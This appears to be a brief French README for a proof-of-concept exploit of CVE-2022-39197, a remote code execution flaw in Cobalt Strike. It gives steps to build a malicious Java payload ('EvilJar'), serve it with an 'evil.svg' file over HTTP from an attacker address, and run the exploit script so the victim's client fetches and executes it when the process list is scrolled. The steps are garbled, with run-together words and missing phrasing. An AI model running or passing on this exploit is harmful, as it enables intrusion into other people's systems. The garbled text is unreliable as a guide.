
Exploit de preuve de concept pour CVE-2022-39197, permettant l'exécution de code à distance contre CobaltStrike <= 4.7.1 via une charge utile SVG malveillante servie sur HTTP.
ligne 19 avec votre payload dans EvilJar/src/main/java/Exploit.javamvn clean compile assembly:singleEvilJar-1.0-jar-with-dependencies.jar de EvilJar/target/ vers le dossier serve/serve\evil.svg et remplacez [attacker]python3 -m http.server 8080python3 cve-2022-39197.py beacon.exe http://10.10.10.2:8080/evil.svg
Le payload sera déclenché dès que l'utilisateur fera défiler la liste des processus.

https://mp.weixin.qq.com/s/Eb0pQ-1ebLSKPUFC7zS6dg — Il y a une excellente analyse approfondie de cette vulnérabilité https://www.agarri.fr/blog/archives/2012/05/11/svg_files_and_java_code_execution/index.html